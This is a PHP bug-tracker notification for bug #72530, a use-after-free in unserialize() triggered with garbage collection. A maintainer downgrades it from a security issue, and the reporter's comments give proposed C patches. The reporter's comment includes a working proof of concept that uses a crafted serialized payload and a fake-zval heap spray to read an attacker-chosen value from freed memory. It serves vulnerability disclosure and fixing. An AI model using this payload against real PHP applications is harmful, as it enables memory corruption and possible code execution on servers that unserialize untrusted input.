Sec Bug->Bug #72530 [Opn]: Use After Free in unserialize() with GC
| From: | stas@php.net | Date: | Sat, 02 Jul 2016 08:19:15 +0000 |
| Subject: | Sec Bug->Bug #72530 [Opn]: Use After Free in unserialize() with GC | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-201983@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=72530&edit=1
ID: 72530
Updated by: stas@php.net
Reported by: taoguangchen at icloud dot com
Summary: Use After Free in unserialize() with GC
Status: Open
-Type: Security
+Type: Bug
Package: *General Issues
-PHP Version: 5.5.37
+PHP Version: 5.6.23
Block user comment: N
Private report: Y
New Comment:
I don't think this qualifies as security issue - since you need specially crafter destructor.
Previous Comments:
------------------------------------------------------------------------
[2016-07-02 01:09:05] taoguangchen at icloud dot com
update fix, and fix other bugs:
```
var_push_dtor_no_addref(var_hash, rval);
}
*rval = *rval_ref;
+ Z_ADDREF_PP(rval_ref);
+ if (Z_REFCOUNT_PP(rval) > 1) {
+ SEPARATE_ZVAL_IF_NOT_REF(rval);
+ }
Z_ADDREF_PP(rval);
Z_SET_ISREF_PP(rval);
```
------------------------------------------------------------------------
[2016-07-01 16:26:35] taoguangchen at icloud dot com
Description:
------------
Use After Free in unserialize() with GC
PoC:
```
$poc =
'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
for ($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}
var_dump($out[2]);
class ryat
{
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
}
}
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
```
Expected result:
```
int(2)
```
Actual result:
```
array(1) {
[0]=>
int(1122334455)
}
```
Fix (This fix may break some test scripts):
```
"R:" iv ";" {
...
*rval = *rval_ref;
+ if (Z_REFCOUNT_PP(rval_ref) == 1) {
+ Z_ADDREF_PP(rval_ref);
+ }
Z_ADDREF_PP(rval);
Z_SET_ISREF_PP(rval);
```
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=72530&edit=1